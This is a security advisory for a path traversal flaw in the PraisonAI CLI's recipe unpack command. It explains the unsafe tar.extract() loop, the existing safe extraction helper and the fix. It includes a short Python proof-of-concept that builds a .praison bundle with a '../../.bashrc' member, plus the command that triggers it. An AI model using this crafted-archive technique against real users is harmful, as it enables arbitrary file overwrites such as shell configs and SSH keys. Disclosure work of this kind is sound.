PRAISONAI · CVE-2026-40157 · AI agents & MCP
FIX → 4.5.128
The `praisonai recipe unpack` command extracts `.praison` archives without checking member paths, so entries containing `../` are written outside the output directory. An attacker who gets a victim to unpack a crafted bundle can overwrite arbitrary files the victim can write, such as shell configs or SSH keys.
first public Apr 9, 2026 · 2 sources
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Teams that run the PraisonAI CLI and unpack .praison recipe bundles from sources they do not fully trust, including bundles shared through repositories, tutorials or colleagues. Systems that never run recipe unpack on external bundles are not exposed through this path, since the sources say pull and publish already validate paths.
Not affected if no-recipe-unpack, trusted-bundles-only, version-4.5.128-or-later
Who cares ai-agents, cli, praisonai, python
pip show PraisonAI; versions from 2.7.2 up to but not including are affected.| Field | Value |
|---|---|
| Severity | Critical |
| Type | Path traversal -- arbitrary file write via tar.extract() without member validation |
| Affected | src/praisonai/praisonai/cli/features/recipe.py:1170-1172 |
cmd_unpack in the recipe CLI extracts .praison tar archives using raw tar.extract() without validating archive member paths. A .praison bundle containing ../../ entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run praisonai recipe unpack.
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4.5.128cmd_unpack in praisonai/cli/features/recipe.py and check whether it calls tar.extract directly instead of _safe_extractall.Upgrade to 4.5.128
4.5.128.The vulnerable code is in cli/features/recipe.py:1170-1172:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
The only check is whether the member is manifest.json. The code never validates member names -- absolute paths, .. components, and symlinks all pass through. Python's tarfile.extract() resolves these relative to the destination, so a member named ../../.bashrc lands two directories above recipe_dir.
The codebase does contain a safe extraction function (_safe_extractall in recipe/registry.py:131-162) that rejects absolute paths, .. segments, and resolved paths outside the destination. It is used by the pull and publish paths, but cmd_unpack does not call it.
# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest = str(dest_dir.resolve())
for member in tar.getmembers():
if os.path.isabs(member.name):
raise RegistryError(...)
if ".." in member.name.split("/"):
raise RegistryError(...)
resolved = os.path.realpath(os.path.join(dest, member.name))
if not resolved.startswith(dest + os.sep):
raise RegistryError(...)
tar.extractall(dest_dir)
Build a malicious bundle:
import tarfile, io, json
manifest = json.dumps({"name": "legit-recipe", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo(name="manifest.json")
info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
payload = b"export EVIL=1 # injected by malicious recipe\n"
evil = tarfile.TarInfo(name="../../.bashrc")
evil.size = len(payload)
tar.addfile(evil, io.BytesIO(payload))
Trigger:
praisonai recipe unpack malicious.praison -o ./recipes
# Expected: files written only under ./recipes/legit-recipe/
# Actual: .bashrc written two directories above the output dir
| Path | Traversal blocked? |
|---|---|
praisonai recipe pull <name> | Yes -- uses _safe_extractall |
praisonai recipe publish <bundle> | Yes -- uses _safe_extractall |
praisonai recipe unpack <bundle> | No -- raw tar.extract() |
An attacker needs to get a victim to unpack a malicious .praison bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.
Depending on filesystem permissions, an attacker can overwrite shell config files (.bashrc, .zshrc), cron entries, SSH authorized_keys, or project files in parent directories. The attacker controls both the path and the content of every written file.
Replace the raw extraction loop with _safe_extractall:
# cli/features/recipe.py:1170-1172
# Before:
for member in tar.getmembers():
if member.name != "manifest.json":
tar.extract(member, recipe_dir)
# After:
from praisonai.recipe.registry import _safe_extractall
_safe_extractall(tar, recipe_dir)
src/praisonai/praisonai/cli/features/recipe.py:1170-1172 -- cmd_unpack extracts tar members without path validationThis page as .md · .json · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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